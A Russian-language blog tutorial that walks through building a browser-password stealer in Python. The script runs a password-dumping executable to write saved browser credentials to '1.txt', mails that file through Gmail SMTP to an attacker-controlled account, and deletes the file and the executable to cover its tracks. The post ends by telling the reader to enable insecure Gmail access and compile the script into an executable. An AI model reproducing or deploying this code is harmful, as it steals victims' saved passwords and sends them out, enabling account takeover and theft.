Найти в Дзене
Nicky Proger

Стиллер браузерных паролей, с отправкой на gmail. Python-smtplib

Всем привет, это логическое продолжение моей второй статьи, так что если вы его не читали, обязательно прочтите. У нас одна задача, отправить 1.txt на наш gmail.(Прочтите прошлую статью если не понимаете о чём я) Итак, начнёмбус: Импортируем нужные модули import os import smtplib import time from email import encoders from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart Теперь работаем над созданием подключения к smtp и привязкой файла к сообщению: В переменную msg встраиваем MIME(майм) сообщение msg = MIMEMultipart('alternative') Прикрепляем фалы os.system("pass.exe /stext 1.txt") filename = "1.txt" f = open(filename) attachment = MIMEText(f.read()) attachment.add_header('Content-Disposition', 'attachment', filename=filename) msg.attach(attachment) Всё, теперь подключаемся к smtp.gmail.com на 587 порт mail = smtplib.SMTP("smtp.gmail.com", 587) mail.ehlo() mail.starttls() mail.ehlo() mail.login("accau

Всем привет, это логическое продолжение моей второй статьи, так что если вы его не читали, обязательно прочтите.

У нас одна задача, отправить 1.txt на наш gmail.(Прочтите прошлую статью если не понимаете о чём я)

Итак, начнёмбус:

Импортируем нужные модули

import os
import smtplib
import time
from email import encoders
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

Теперь работаем над созданием подключения к smtp и привязкой файла к сообщению:

В переменную msg встраиваем MIME(майм) сообщение

msg = MIMEMultipart('alternative')

Прикрепляем фалы

os.system("pass.exe /stext 1.txt")
filename = "1.txt"
f = open(filename)
attachment = MIMEText(f.read())
attachment.add_header('Content-Disposition', 'attachment', filename=filename)
msg.attach(attachment)

Всё, теперь подключаемся к smtp.gmail.com на 587 порт

mail = smtplib.SMTP("smtp.gmail.com", 587)
mail.ehlo()
mail.starttls()
mail.ehlo()
mail.login("accaunt@gmail.com","password")
acc = " accaunt@gmail.com "
mail.sendmail(acc,acc, msg.as_string())
mail.quit()
f.close()
os.remove("1.txt")
os.remove("pass.exe")

Коротко, starttls() шифрует подключение к smtp.

- mail.login() авторизируемся в smtp

-mail.sendmail() отправка сообщения

-mail.quit() - покидаем smtp

-os.remove() - заметаем следы)

Итак, полный код:

import os

import smtplib

import time

from email import encoders

from email.mime.base import MIMEBase

from email.mime.text import MIMEText

from email.mime.multipart import MIMEMultipart

os.system("pass.exe /stext 1.txt")

msg = MIMEMultipart('alternative')

filename = "1.txt"

f = open(filename)

attachment = MIMEText(f.read())

attachment.add_header('Content-Disposition', 'attachment', filename=filename)

msg.attach(attachment)

mail = smtplib.SMTP("smtp.gmail.com", 587)

mail.ehlo()

mail.starttls()

mail.ehlo()

mail.login(a,b)

mail.sendmail(a,a, msg.as_string())

mail.quit()

time.sleep(3)

f.close()

os.remove("1.txt")

os.remove("pass.exe")

Фото:

-2

После этого, переходим по этой ссылке и разрешаем "Небезопасные приложения"

-3

Всё теперь готово к запуску.Осталось лишь создать исполняемый файл из питон скрипта

Если есть вопросы пишите в комментариях, всем пока!